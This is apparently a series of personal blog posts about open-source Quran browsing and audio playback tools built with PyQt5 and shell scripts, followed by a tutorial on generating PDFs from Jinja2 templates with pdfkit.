One of the key strengths of this application is its use of the Model–View architecture via the QAbstractListModel. By separating the data (the Quranic text and metadata) from its presentation, the application ensures a scalable and maintainable codebase. The custom model, QuranListModel, not only manages the display data but also supports updates and efficient rendering of search results.

Asynchronous Search with QThread

To maintain a fluid user experience, especially when dealing with potentially large datasets, the Quran Browser employs asynchronous search operations. The SearchWorker class runs in a separate thread (using PyQt’s QThread), which allows the main UI to remain responsive even during intensive search operations. This thoughtful design decision means that users experience minimal lag or freezes when querying the text.

Detailed Features

Integrated Audio Playback

A standout feature of the Quran Browser is its built-in audio playback system. Utilizing PyQt5’s QMediaPlayer, the application can play individual verses or an entire sequence of verses:

•Single Verse Playback: Quickly play the recitation of a selected verse.

•Sequential Playback: Build a playlist of consecutive verses or even transition automatically to the next surah when the current one finishes.

This seamless integration of audio enhances the user's study and listening experience, making it ideal for both casual listeners and serious students of the Quran.

Persistent User Settings

The application leverages QSettings to remember user preferences such as window geometry, theme settings (dark or light mode), the chosen text version (Uthmani vs. Simplified), and even the last selected surah. This persistence not only improves usability but also ensures that each session starts with your preferred setup, enhancing productivity.

Keyboard Shortcuts for Enhanced Usability

Efficiency is key for power users, and the Quran Browser addresses this through an extensive set of keyboard shortcuts:

•Ctrl+F: Focus the search input.

•Ctrl+D: Toggle between dark and light themes.

•Space: Play audio for the currently selected verse.

•Ctrl+P: Initiate sequential playback of multiple verses.

•Ctrl+S: Stop playback immediately.

•Ctrl+A: Play an entire surah starting from the selected verse.

•Escape: Toggle between the Uthmani and Simplified text versions.

These shortcuts provide a quick and efficient way to navigate the application, making it easier to dive into the content without constantly relying on the mouse.

Dynamic UI and Themes

The user interface of the Quran Browser is designed with both aesthetics and functionality in mind. A splitter layout divides the main window into a results view and a detailed context view, allowing users to seamlessly switch between browsing and in-depth reading. Additionally, the application offers theme customization options that enable users to switch between dark and light modes, catering to different lighting environments and personal preferences.

Code Design and Implementation

The Model and Delegate Pattern

The code uses a custom QAbstractListModel (i.e., QuranListModel) to manage the list of search results efficiently. Complementing this, the QuranDelegate class handles the rendering of each item in the results view. The delegate is responsible for formatting the Quranic text (including proper right-to-left support) and ensuring that the displayed content is both readable and visually consistent.

Asynchronous Operations with QThread

Handling resource-intensive operations on the main thread can lead to performance bottlenecks. The Quran Browser circumvents this by offloading the search functionality to a dedicated worker thread (SearchWorker). This design not only improves responsiveness but also encapsulates error handling and logging—thanks to Python's robust logging module—ensuring that any issues during search operations are gracefully managed.

Audio Playback and Sequence Handling

Audio integration in the Quran Browser is thoughtfully implemented. The application supports both single file and sequence playback modes:

•File Naming Convention: Audio files must be named using a standardized pattern (e.g., 002005.mp3 for Surah 2, Ayah 5). This convention simplifies the process of locating and playing the correct file.

•Sequence Playback: For a continuous listening experience, the application builds a sequence of audio files. When the end of a surah is reached, it automatically transitions to the next surah (wrapping around to the first surah if necessary), ensuring uninterrupted playback.

Installation Guide

Getting started with the Quran Browser is simple. Follow these steps to set up the application on your system:

•Clone the repository:

    

git clone https://github.com/neoMOSAID/quran-search-and-play.git
cd quran-search-and-play

•Install required packages: If you use pip, run:

    

pip install -r requirements.txt

Once the setup is complete, you can start the application by running python3 gui.py. This will launch the Quran Browser, ready for you to explore its features.

Important Note on Audio Files

For full functionality, the Quran application requires Quranic audio files named in the specific format XXXYYY.mp3, where XXX is the 3-digit surah number and YYY is the 3-digit ayah number (e.g., 002001.mp3 for Surah 2, Ayah 1). You can download complete verse-by-verse audio collections from sources like EveryAyah.com. After downloading, set audio directory in the menu, by simply selecting it

User Experience and Interface

The overall design of the Quran Browser prioritizes usability. The split-view layout allows users to easily toggle between a list of search results and detailed context views for selected verses. The integration of persistent settings means that every session is tailored to the user's preferences—from the selected surah and text version to the chosen audio directory.

Moreover, the application includes a comprehensive Help dialog that details available features and keyboard shortcuts, ensuring that even new users can quickly become proficient in navigating the interface.

Quran search dark

Quran search light

Quran search example

Quran search showing the ayah and its context

Quran search help window

Customization and Extensibility

Designed with both end-users and developers in mind, the Quran Browser is highly customizable. Whether you want to tweak the UI themes, extend the search capabilities, or add new functionalities, the codebase is modular and well-documented. Developers are encouraged to contribute improvements, report issues, or even fork the repository to build their own versions of this powerful tool.

Explore the GitHub Repository

If you're interested in exploring the Quran Browser further or contributing to its development, you can find the complete source code on its GitHub repository: https://github.com/neoMOSAID/quran-search-and-play. The repository includes detailed documentation, installation instructions, and a well-structured codebase. Whether you're a developer looking to learn about PyQt5 or a power user aiming to customize the application, this repository is your go-to resource. Contributions, feedback, and issue reporting are highly encouraged to help improve and expand this powerful tool.

Conclusion

The Advanced Quran Browser represents a perfect blend of modern software design principles and practical functionality. By leveraging the power of PyQt5, asynchronous operations, and integrated multimedia playback, it offers an engaging and efficient way to explore Quranic text. Its thoughtful architecture, combined with a focus on usability and customization, makes it an exemplary project for anyone interested in both software development and the study of the Quran.

Whether you’re a developer looking to contribute or a user eager to enhance your study routine, the Quran Browser provides a solid foundation for both exploration and innovation. Embrace the power of technology in your journey of understanding, and experience the Quran like never before.

Explore, listen, and connect with the timeless wisdom of the Quran through this innovative application—where modern design meets sacred tradition.

How to Install and Use Quran Player on Linux, macOS, and Windows

2025-02-06T09:31:56+00:00

Introducing Quran Player: A Cross-Platform Quranic Verse Playback Experience

Version: 1.3.0
License: GPLv3

Quran Player Logo

Overview

In today’s digital age, the Quran deserves a modern, intuitive, and cross‑platform way to be experienced. That’s why we created Quran Player—a powerful application that combines audio playback, synchronized visual display, and beautiful Arabic text rendering. Designed for both casual listeners and scholars alike, Quran Player offers a seamless and engaging experience on Windows, Linux, and more.

What Is Quran Player?

Quran Player is not just an audio player. It is a comprehensive system that:

•Plays Quranic Verses: Enjoy verse‑by‑verse playback with auto‑advance.

•Displays Arabic Text: Experience beautifully rendered Arabic script with proper shaping.

•Offers a Graphical Interface: Control playback easily using our dark‑themed, system‑tray integrated GUI.

•Provides Interactive Search: Quickly find and navigate to any verse using our versatile search tool.

•Renders Images: Generate stunning images of verses with customizable fonts, sizes, colors, and wrapping options.

Every component of the system—from the daemon (quran_player.py) that manages audio playback and state, to the PyQt5‑powered GUI (quran_gui.py), the interactive search tool (quran_search.py), and the image rendering utility (arabic_topng.py)—has been crafted with attention to detail and cross‑platform compatibility.

Key Features

Cross‑Platform Compatibility

•Windows & Linux Support: Separate installation scripts ensure a smooth setup on both Windows and Linux.

•Consistent Experience: Whether you’re on Windows with desktop shortcuts and CLI wrappers, or on Linux with man pages and desktop entries, Quran Player delivers a uniform experience.

Audio Playback & Control

•Verse‑by‑Verse Playback: Listen to recitations that automatically advance, ensuring a natural flow.

•Repeat & Load Functions: Easily repeat a specific range of verses or load any verse using a simple command (e.g., load 2:255).

Beautiful User Interface

•Dark‑Themed Design: Enjoy a modern GUI with a sleek dark palette and intuitive system tray integration.

•Keyboard Shortcuts: Quickly control playback using Space, Left, Right, and Esc keys.

Advanced Search & Image Rendering

•Interactive Search: Utilize the search tool in both command‑line and interactive modes with full right‑to‑left (RTL) support.

•Customizable Image Rendering: Generate images of verses using configurable options such as font, size, colors, and wrapping. Perfect for sharing or offline viewing.

Installation Made Easy

For Windows Users

• Requirements:

•Windows 7 or later

•Python (pre-installed or installed via the setup script)

•Administrator privileges (for some operations)

• Setup Script:

Run the provided Windows setup script (e.g., via python setup.py):

    

python setup.py

This script will:

•Create a virtual environment under %APPDATA%\quran-player

•Copy application files and assets

•Install required dependencies (including pywin32 and winshell)

•Create CLI wrappers in %APPDATA%\quran-player\bin

•Create a desktop shortcut for launching the GUI

• Logs:

Check install.log (generated in the current directory) for details and troubleshooting.

For Linux Users

• Requirements:

•A modern Linux distribution (Ubuntu, Debian, Arch, etc.)

•Bash shell, Python3, and sudo privileges for certain installation steps

• Get the necessary files from github repository

    

git clone https://github.com/neoMOSAID/quran-player.git
cd quran-player

• Make Script Executable:

    

chmod +x install.sh

• Run the Installer:

    

./install.sh

The script will:

•Install system dependencies (e.g., python3-venv, feh, pulseaudio-utils)

•Copy application files and assets to ~/.quran-player

•Create a virtual environment and install Python dependencies

•Create CLI wrappers in /usr/local/bin

•Generate a desktop entry in ~/.local/share/applications

•Install the man page for quran-daemon

• Uninstallation:

    

./install.sh --uninstall

Usage

Daemon Commands

The daemon is controlled via CLI commands. Use the generated wrappers:

•Start the Daemon: quran-daemon start

•Stop the Daemon: quran-daemon stop

•Playback Control:

•quran-daemon play – Resume playback

•quran-daemon pause – Pause playback

•quran-daemon toggle – Toggle between play and pause

•quran-daemon next – Advance to the next verse

•quran-daemon prev – Go back to the previous verse

•Load a Specific Verse: quran-daemon load 2:255

•Repeat a Range of Verses: quran-daemon repeat 10:15

•Display Status: quran-daemon status

•Generate Configuration File: quran-daemon config

•Display Detailed Information: quran-daemon info

•Help / About:

•quran-daemon help

•quran-daemon about

GUI Controller

Launch the GUI using the desktop shortcut (Windows) or via the CLI wrapper: quran-gui.

The GUI features:

•Dark theme with a custom Fusion palette

•System tray integration and context menu

•Keyboard shortcuts: Space (play/pause), Left (previous), Right (next), Esc (minimize)

Quran player graphical user interface

Search Tool

Run the search tool with: quran-search <surah> <start_ayah> [end_ayah]

If no arguments are provided, the tool launches an interactive dialog that will switch the keyboard layout to arabic (for linux users only) and then restore it on exit

Image Rendering

The script arabic_topng.py renders Arabic text to a PNG image with options for wrapping, padding, and color customization. This is used internally by the player for displaying verses.

Quran player Screenshot, Ayah 255 from surah 2

Configuration

The application is configured via an INI‑style file. By default, the configuration file is located at:

•Linux/macOS: ~/.config/quran-player/config.ini

•Windows: %APPDATA%\quran-player\config.ini

[daemon] Section

•MAX_LOG_SIZE: Maximum log file size (default: 1000000 bytes).

•LOG_LEVEL: Log verbosity. Options: CRITICAL, ERROR, WARNING, INFO, DEBUG, or DISABLED (default: INFO).

•FILES_DIRECTORY: Directory where audio files are stored.

[image] Section

•ENABLE: Enable image display (yes/no). Default: yes on Linux, no on other platforms.

•DEFAULT_RESOLUTION: Image resolution (e.g., 1240x170).

•FONT_FILE: Path to the Arabic font file (default: arabic-font.ttf).

•FONT_SIZE: Font size (default: 48).

•IMAGE_WIDTH: Width of the image in pixels (default: 1240).

•WRAP_WIDTH: Maximum characters per line (default: 170).

•VERTICAL_PADDING: Padding in pixels (default: 20).

•BG_COLOR: Background color (e.g., 0,0,0,0).

•TEXT_COLOR: Text color (e.g., 255,255,255,255).

•HIGHLIGHT_COLOR: Highlight color (e.g., 255,0,0,255).

Important Note on Audio Files

For full functionality, the Quran Player requires Quranic audio files named in the specific format XXXYYY.mp3, where XXX is the 3-digit surah number and YYY is the 3-digit ayah number (e.g., 002001.mp3 for Surah 2, Ayah 1). While basic sample files are included, it's recommended to download complete verse-by-verse audio collections from sources like EveryAyah.com. After downloading, place the files in the ~/.config/quran-player/sample/ directory (or your configured FILES_DIRECTORY). Ensure all files follow this naming scheme for seamless playback across all 114 surahs.

The Manual

For a complete, detailed description of every command, configuration option, and usage example, refer to the manual below (also available as a man page on Linux and as manual.txt for Windows users):

    

===================================================================
                       Quran Player Daemon Manual
                            Version: v1.3.0
                           Date: Feb 2025
===================================================================

NAME
    quran-daemon - Quran Player Daemon

SYNOPSIS
    quran-daemon [COMMAND] [ARGUMENTS]...

DESCRIPTION
    The Quran Player Daemon is a background service that provides Quranic verse
    playback with synchronized visual display and Arabic text rendering. It supports
    verse-by-verse playback with auto-advance, persistent playback state across
    sessions, repeat functionality, and an optional system tray GUI controller.

COMMANDS
    start
        Start the daemon. This initializes the service, binds the control socket, and
        begins listening for client commands.

    stop
        Stop the daemon. This causes the daemon to shut down gracefully, releasing all
        resources and cleaning up socket and PID files.

    play
        Resume audio playback.

    pause
        Pause the current playback.

    toggle
        Toggle between play and pause.

    next
        Advance to the next verse.

    prev
        Return to the previous verse.

    load
        Load a specific verse. The command expects an argument in the format
        surah:ayah (for example, "2:255").

    repeat
        Repeat a range of verses. Provide the range in the format
        start:end (for example, "10:15"). Note that issuing a play or load command
        cancels repeat mode.

    status
        Display the current playback status, including the surah and ayah numbers and
        playback state.

    config
        Generate the default configuration file in the user configuration directory.

    cleanup
        Remove orphaned runtime files (e.g., stale PID or socket files).

    info
        Display detailed information about daemon status, configuration settings,
        file integrity, and system information.

    help
        Display a help message with a summary of available commands.

    about
        Display program information, including version, project links, and license details.

CONFIGURATION
    The daemon uses an INI-style configuration file. On Linux/macOS, the file is typically
    located at:
        ~/.config/quran-player/config.ini
    On Windows, it is stored in the APPDATA folder.

    The configuration file is divided into two main sections: [daemon] and [image].

    -----------------------------------------------------------------
    [daemon] Section
    -----------------------------------------------------------------
    MAX_LOG_SIZE
        Maximum size (in bytes) of the log file before rotation occurs.
        Default: 1000000.

    LOG_LEVEL
        Log verbosity level. Possible values are:
        CRITICAL, ERROR, WARNING, INFO, DEBUG, or DISABLED.
        Default: INFO.

    FILES_DIRECTORY
        The directory where the audio files are stored. If not specified, a default directory
        (e.g., within the user configuration directory) is used.

    -----------------------------------------------------------------
    [image] Section
    -----------------------------------------------------------------
    ENABLE
        Enable or disable image display. Accepts "yes" or "no". Default is "yes" on Linux
        and "no" on other platforms.

    DEFAULT_RESOLUTION
        Default resolution for the generated image in the format WIDTHxHEIGHT (e.g., "1240x170").

    FONT_FILE
        Path to the Arabic font file used for rendering. By default, the "arabic-font.ttf"
        in the script or user configuration directory is used.

    FONT_SIZE
        Font size for rendering the text. Default: 48.

    IMAGE_WIDTH
        Width of the generated image in pixels. Default: 1240.

    WRAP_WIDTH
        Maximum number of characters per line before wrapping. Default: 170.

    VERTICAL_PADDING
        Vertical padding (in pixels) added to the top and bottom of the image. Default: 20.

    BG_COLOR
        Background color as a comma-separated RGBA string (for example, "0,0,0,0").
        Default: 0,0,0,0.

    TEXT_COLOR
        Text color as a comma-separated RGBA string (for example, "255,255,255,255").
        Default: 255,255,255,255.

    HIGHLIGHT_COLOR
        Highlight color for indicating a specific line, as a comma-separated RGBA string
        (for example, "255,0,0,255").
        Default: 255,0,0,255.

FILES
    quran_player.py
        The main daemon script.
    default_config.ini
        Default configuration file shipped with the daemon.
    config.ini
        User configuration file. Typically located in ~/.config/quran-player/ (Linux/macOS)
        or in the APPDATA folder (Windows).
    daemon.sock or \\.\pipe\quran-daemon (Windows)
        The control socket used for inter-process communication.
    daemon.pid
        File storing the daemon's process ID.
    daemon.log
        Log file for daemon events.

USAGE EXAMPLES
    Start the daemon:
        quran-daemon start

    Stop the daemon:
        quran-daemon stop

    Toggle playback:
        quran-daemon toggle

    Load a specific verse:
        quran-daemon load 2:255

    Repeat a range of verses:
        quran-daemon repeat 10:15

    Display status:
        quran-daemon status

    Generate a new configuration file:
        quran-daemon config

    Display help:
        quran-daemon help

ENVIRONMENT VARIABLES
    The following environment variables can override default configuration values:
    PYTHON_IMAGE_WIDTH
        Overrides the default image width.
    PYTHON_IMAGE_WRAP_WIDTH
        Overrides the default wrap width.
    PYTHON_IMAGE_FONT_SIZE
        Overrides the default font size.
    PYTHON_IMAGE_FONT
        Overrides the default font family.
    PYTHON_IMAGE_BG_COLOR
        Overrides the default background color.
    PYTHON_IMAGE_TEXT_COLOR
        Overrides the default text color.
    PYTHON_IMAGE_HIGHLIGHT_COLOR
        Overrides the default highlight color.
    PYTHON_IMAGE_VERTICAL_PADDING
        Overrides the default vertical padding.

BUGS
    Report bugs and issues via the project's GitHub issue tracker:
        https://github.com/neoMOSAID/quran-player/issues

AUTHOR
    Developed by neoMOSAID.

COPYRIGHT
    This software is released under the GPLv3 License.

===================================================================

Get Involved

Whether you’re a developer or a Quran enthusiast, your feedback and contributions are welcome! Visit our GitHub repository to report issues, submit pull requests, or simply star the project.

Final Thoughts

Quran Player brings together tradition and technology, offering a unique way to interact with the Quran through modern digital means. Explore, enjoy, and help us improve this open‑source project.

Feel free to share this article on social media, include screenshots of the application in action, or embed installation videos to engage with your audience further!

Render Quranic Verses as PNG Images and Play Audio Using Command Line Tools

2025-01-26T11:37:00+00:00

Render Quranic Verses as PNG Images and Play Audio Using Command Line Tools

In this tutorial, we'll combine a Python script (ara-to-png.py) and a shell script (artopng) to create a powerful command-line tool for rendering Quranic verses as PNG images and playing their audio. We'll also integrate previously created tools for retrieving Quranic text and playing audio from the command line.

Prerequisites

•Python Environment: Ensure you have a Python virtual environment set up in ~/bin/env.
•Required Dependencies: Install Pillow and a Quranic font (e.g., arfonts-arabic-typesetting.ttf) in your system.
•Previous Tools: Download and set up the scripts from the following articles:

•Quran Search and Display Script: Enhancing Quranic Study.

•Quranic Audio Playback Script: Playing Quranic Ayat.

Step 1: Python Script (`ara-to-png.py`)

This script renders Arabic text into a PNG image using the specified font and supports optional highlighting of a specific line. Below is the script:

    

import sys
import textwrap
from PIL import Image, ImageDraw, ImageFont

def render_arabic_text_to_image(
    text,
    font_path,
    output_path,
    image_width=970,
    wrap_width=130,
    font_size=48,
    bg_color="#F0FFF0",
    text_color="black",
    highlight_color="#FF0000",
    highlight_line=None,
    vertical_padding=20
):
    """
    Renders an Arabic text string into an image using a specific font, with text wrapping, dynamic height,
    and optional highlighting of a specific original line.

    Parameters:
    - text: str, the Arabic paragraph to render.
    - font_path: str, path to the font file (.ttf) to use.
    - output_path: str, path where the output image will be saved.
    - image_width: int, width of the image.
    - font_size: int, size of the font.
    - bg_color: str, background color of the image.
    - text_color: str, color of the text.
    - highlight_color: str, the color to use for highlighting.
    - highlight_line: int, the 1-based index of the line to highlight (None for no highlight).
    - vertical_padding: int, padding above and below the text.
    """
    try:
        # Load the font
        font = ImageFont.truetype(font_path, font_size)
    except Exception as e:
        print(f"Error loading font: {e}")
        return

    # Split the text into original lines
    original_lines = text.split("\n")

    # Add a bullet to the start of each original line
    lines_with_bullets = [f"•{line}" for line in original_lines]

    # Initialize lists to store wrapped lines and their original line mapping
    wrapped_lines = []
    line_mapping = []  # Track which wrapped lines belong to which original line
    highlighted_lines = []  # Store indices of wrapped lines that belong to the highlighted original line

    # Loop through original lines to wrap them
    for i, line in enumerate(lines_with_bullets):
        is_highlighted = highlight_line == (i + 1)  # Check if the current original line is to be highlighted
        wrapped = textwrap.wrap(line, width=wrap_width)  # Adjust width for wrapping

        # Store the wrapped lines and highlight them if necessary
        wrapped_lines.extend(wrapped)
        line_mapping.extend([i] * len(wrapped))  # All wrapped lines belong to the same original line
        if is_highlighted:
            highlighted_lines.extend([True] * len(wrapped))  # Mark all wrapped lines of this original line as highlighted
        else:
            highlighted_lines.extend([False] * len(wrapped))  # Non-highlighted lines

    # Calculate line height and total text height
    draw = ImageDraw.Draw(Image.new("RGB", (image_width, 100), bg_color))  # Temporary image to calculate text size
    _, _, _, text_height = draw.textbbox((0, 0), "A", font=font)  # Get height of a single character
    line_height = text_height + 24  # Add spacing between lines
    total_text_height = line_height * len(wrapped_lines) + 2 * vertical_padding

    # Create the image with dynamic height
    image = Image.new("RGB", (image_width, total_text_height), bg_color)
    draw = ImageDraw.Draw(image)

    # Starting Y position for text
    y = vertical_padding

    # Draw each wrapped line, right-aligned, with optional highlighting
    for i, line in enumerate(wrapped_lines):
        text_bbox = draw.textbbox((0, 0), line, font=font)
        text_width = text_bbox[2] - text_bbox[0]

        # Align text to the right with padding
        x = image_width - text_width - 20  # Align to the right with 20px padding

        # Apply highlighting to the specified line
        if highlighted_lines[i]:
            draw.text((x, y), line, font=font, fill=highlight_color, direction="rtl")
        else:
            draw.text((x, y), line, font=font, fill=text_color, direction="rtl")

        y += line_height  # Move to the next line

    # Save the image
    image.save(output_path)
    print(f"Image saved to {output_path}")



if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Usage: python render_arabic.py '<text>' <font_path> <output_image_path>")
        sys.exit(1)

    arabic_text = sys.argv[1]
    font_path = sys.argv[2]
    output_image_path = sys.argv[3]
    if len(sys.argv) > 4:
        highlight_line=int(sys.argv[4])
    else:
        highlight_line=None

    render_arabic_text_to_image(
        text=arabic_text,
        font_path=font_path,
        output_path=output_image_path,
        highlight_line=highlight_line
    )

Step 2: Shell Script (`artopng`)

The shell script coordinates the workflow: it retrieves the Quranic text, processes it, renders it into an image, and finally plays the corresponding audio. Here is the script:

    

#!/bin/bash

ENV_PATH="$HOME/bin/env"
SCRIPT_PATH="$HOME/bin/python/ara-to-png.py"
FONT_PATH="$HOME/.fonts/arfonts-arabic-typesetting.ttf"
OUT_PNG="/tmp/out-$(date '+%s').png"
PLAYER="$HOME/bin/play-ayat"

# Ensure the environment exists
if [ ! -d "$ENV_PATH" ]; then
    echo "Error: Python environment not found at $ENV_PATH"
    echo "Please create the environment and try again."
    exit 1
fi

# Ensure the script exists
if [ ! -f "$SCRIPT_PATH" ]; then
    echo "Error: Python script not found at $SCRIPT_PATH"
    exit 1
fi

CHAPTER=$1
FIRST=$2
LAST=$3
LCOLOR=$4
SPEED=$5

if [[ -z $CHAPTER  ]]
then
    echo "usage: $0 <CHAPTER_number> <FIRST_ayah> <LAST_ayah> [line_to_highlight]"
    exit
fi
if [[ -z $FIRST  ]]
then
    echo "usage: $0 <CHAPTER_number> <FIRST_ayah> [LAST_ayah] [line_to_highlight]"
    exit
fi

# Source the environment
source "$ENV_PATH/bin/activate"
"$HOME/bin/quran-search-dir/quran-search.sh" $CHAPTER $FIRST $LAST > /dev/null
# this script gets the ayat text and saves it in /tmp/artext
# Read the text from the file
artext=$(cat /tmp/artext)

# Process each line separately
artext=$(echo "$artext" | while IFS= read -r line; do
    # Extract the part inside parentheses
    inside_parentheses=$(echo "$line" | grep -oP '\(.*?\)' | tr -d '()')

    # Remove the part inside parentheses from the current line
    line_cleaned=$(echo "$line" | sed -r 's/\(.*?\)//g')

    # Append the extracted part at the end of the line, if it exists
    if [[ -n "$inside_parentheses" ]]; then
    number=$(echo "$inside_parentheses" | tr -cd '0-9')
    arabic_text=$(echo "$inside_parentheses" | grep -oP '[^\d]+$' | sed 's/^ //')
        echo "$line_cleaned  [$arabic_text $number]"
    else
        echo "$line_cleaned"
    fi
done)

python "$SCRIPT_PATH" "$artext" "$FONT_PATH" "$OUT_PNG" $LCOLOR > /dev/null

killall feh 2>/dev/null

feh  --no-xinerama $OUT_PNG & disown

# Deactivate the environment
deactivate
killall mpv 2>/dev/null
killall mpv 2>/dev/null
$PLAYER $CHAPTER $FIRST $LAST $SPEED

How It Works

The shell script takes the chapter number, first and last verse numbers, and an optional highlight line as arguments.
It retrieves the Quranic text using the search script and processes it for rendering.
The Python script renders the Arabic text into a PNG image.
The rendered image is displayed using feh, and the verses' audio is played using the playback script.

Usage

    

artopng <CHAPTER_number> <FIRST_ayah> <LAST_ayah> [line_to_highlight] [play_speed]

Example:

    

artopng 2 255 257 2

This command renders verses 255-257 of Surah Al-Baqarah, highlights the second line, and plays the audio.

I am using i3 window manager, and made it so that feh has no borders and no window decoration and top bar, making it look this beautiful:

verses 255-257 of Surah Al-Baqarah

Play sourah

    

#!/bin/bash
if [[ -z $1 ]] ; then
    echo need surah number
    exit
fi
surah_number=$1
start_ayah=${2:-1}
end_ayah=${3:-300}

for ((i=start_ayah; i <= end_ayah; i++)); do
    $HOME/bin/artopng $surah_number $i
done

The `play-surah` script is a handy tool designed to streamline the display and audio playback of Quranic verses. This script accepts a Surah number as a required argument and optionally allows specifying a range of Ayahs to display and play. By default, it starts from the first Ayah and processes up to the last ayah of the surah (chapter) unless specified otherwise.

Here's how the script works: for each Ayah in the specified range, it utilizes the `artopng` script to generate an image of the Ayah's text and then plays the corresponding audio. When combined with a minimalistic i3 window manager setup, which employs borderless `feh` with no decorations, this approach creates an immersive and distraction-free Quranic experience, verse by verse.

Conclusion

This tool provides an immersive Quranic study experience by combining visual and auditory elements directly from the command line. Let me know if you need help customizing or extending the scripts!

How to Generate PDFs from Jinja2 Templates in Python

2025-01-20T21:58:39+00:00

How to Generate PDFs from Jinja2 Templates Using Python

In this tutorial, we will show you how to use a Python script to generate beautiful PDFs from Jinja2 templates. Whether you're creating invoices, reports, or any custom documents, this method allows you to automate the generation of PDFs directly from templates. We will also discuss the importance of using a local Python environment and good practices to keep your projects organized and manageable.

Prerequisites

Before we start, ensure that you have the following tools and libraries installed:

•Python: The programming language for this script.

•Jinja2: A templating engine used to generate HTML from data.

•pdfkit: A Python wrapper for wkhtmltopdf, which converts HTML to PDF.

•wkhtmltopdf: A command-line tool for rendering HTML into PDFs.

Install the necessary libraries using the following commands:

    

pip install jinja2 pdfkit

Additionally, ensure that wkhtmltopdf is installed on your system:

    

sudo apt-get install wkhtmltopdf

Setting Up the Virtual Environment

It's a good practice to use a local Python environment for your projects. This helps keep your dependencies isolated and ensures that your project is not affected by global Python packages. Follow these steps to set up the environment:

    

# Create a new directory for your project if you haven't already
mkdir ~/my_project
cd ~/my_project

# Create a virtual environment in ~/bin/env
python3 -m venv ~/bin/env

# Activate the environment
source ~/bin/env/bin/activate

# Install the necessary Python dependencies
pip install jinja2 pdfkit

Once the environment is set up, you can simply activate it by running:

    

source ~/bin/env/bin/activate

Creating the Template

Next, create a Jinja2 template to define the structure and design of your PDF. In this example, we’ll create a simple template with a title, content, a list of items, and an image.

    

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>{{ title }}</title>
    <!-- Bootstrap CSS -->
    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
    <style>
        /* Custom styles for PDF generation */
        @page {
            size: A4;
            margin: 1cm;
        }

        body {
            font-family: 'Arial', sans-serif;
            line-height: 1.5;
            margin: 0;
        }

        .header, .footer {
            background-color: #f8f9fa;
            padding: 10px;
            text-align: center;
            color: #333;
        }

        .header h1 {
            margin: 0;
            font-size: 1.8rem;
            color: #007bff;
        }

        .footer p {
            margin: 0;
            font-size: 0.9rem;
        }

        .content {
            padding: 20px;
        }

        .content h2 {
            color: #28a745;
            margin-top: 20px;
        }

        .content p {
            text-align: justify;
        }

        .content blockquote {
            background-color: #f1f3f4;
            border-left: 4px solid #007bff;
            padding: 10px 15px;
            font-style: italic;
            color: #555;
            margin: 20px 0;
        }

        .content .table {
            margin-top: 20px;
        }

        .content .btn {
            display: inline-block;
            margin-top: 15px;
        }

        .highlight {
            color: #dc3545;
            font-weight: bold;
        }

        .list-group-item {
            background-color: #f9f9f9;
            color: #333;
        }

        .list-group-item:hover {
            background-color: #007bff;
            color: #fff;
        }

        .img-container {
            text-align: center;
            margin-top: 20px;
        }

        .img-container img {
            max-width: 50%;
            height: auto;
        }
    </style>
</head>
<body>
    <div class="header">
        <h1>{{ title }}</h1>
        <p>PDF generated using Jinja2 and PDFKit</p>
    </div>

    <div class="content container">
        <h2>Introduction</h2>
        <p>{{ content }}</p>

        <h2>Highlighted Text</h2>
        <p>You can use <span class="highlight">colors and bold text</span> to draw attention to key points in your PDF.</p>

        <h2>Table Example</h2>
        <table class="table table-bordered">
            <thead class="thead-dark">
                <tr>
                    <th>Item</th>
                    <th>Description</th>
                    <th>Price</th>
                </tr>
            </thead>
            <tbody>
                <tr>
                    <td>Example 1</td>
                    <td>This is the first example item.</td>
                    <td>$10</td>
                </tr>
                <tr>
                    <td>Example 2</td>
                    <td>This is the second example item.</td>
                    <td>$20</td>
                </tr>
            </tbody>
        </table>

        <h2>List Example</h2>
        <ul class="list-group">
            {% for item in items %}
            <li class="list-group-item">{{ item }}</li>
            {% endfor %}
        </ul>

        <h2>Blockquote Example</h2>
        <blockquote>
            "This is a beautifully styled blockquote to emphasize key ideas."
        </blockquote>

        <h2>Image Example</h2>
        <div class="img-container">
            <img src="{{ image_path }}" alt="Example Image">
        </div>

        <h2>Button Example</h2>
        <a href="https://mosaid.xyz" class="btn btn-primary">Click Me</a>
    </div>

    <div class="footer">
        <p>{{ footer }}</p>
    </div>

    <!-- Bootstrap JS -->
    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.4.4/dist/umd/popper.min.js"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
</body>
</html>

Save this file as template.html in your project directory.

Generating the PDF

Now let’s use a Python script to generate the PDF from the Jinja2 template. Below is the script that takes the template, renders it with data, and generates the PDF:

    

import pdfkit
from jinja2 import Environment, FileSystemLoader
import os
import sys
from datetime import datetime

def generate_pdf(template_file, output_dir="./output"):
    # Create output directory if it doesn't exist
    os.makedirs(output_dir, exist_ok=True)

    # Extract the directory and filename from the template file
    template_dir = os.path.dirname(template_file)
    template_name = os.path.basename(template_file)

    # Set up Jinja2 environment
    env = Environment(loader=FileSystemLoader(template_dir))
    template = env.get_template(template_name)

    # Define data to be rendered in the template
    data = {
        "title": "Jinja2 to PDF Example",
        "content": "This is a PDF generated using Jinja2 and pdfkit.",
        "items": ["Introduction", "Body Content", "Conclusion"],
        "footer": "Generated by Radouan MOSAID",
        "image_path": "/path/to/image.jpg",  # Absolute path
    }

    # Render the template with the data
    rendered_html = template.render(data)

    # Get the current date string in YYYY-MM-DD format
    date_str = datetime.now().strftime("%Y-%m-%d")

    # Output PDF file path with the date appended to make it unique
    output_pdf_path = os.path.join(output_dir, f"output_{date_str}.pdf")

    # Define pdfkit options to enable local file access
    options = {
        'enable-local-file-access': '',  # Allow access to local files
    }

    # Convert the rendered HTML to a PDF with options
    pdfkit.from_string(rendered_html, output_pdf_path, options=options)

    print(f"PDF has been created successfully: {output_pdf_path}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python script.py <template_file>")
        sys.exit(1)

    # Get the template file from the command-line arguments
    template_file = sys.argv[1]

    # Check if the file exists
    if not os.path.isfile(template_file):
        print(f"Error: Template file '{template_file}' not found.")
        sys.exit(1)

    # Generate PDF
    generate_pdf(template_file)

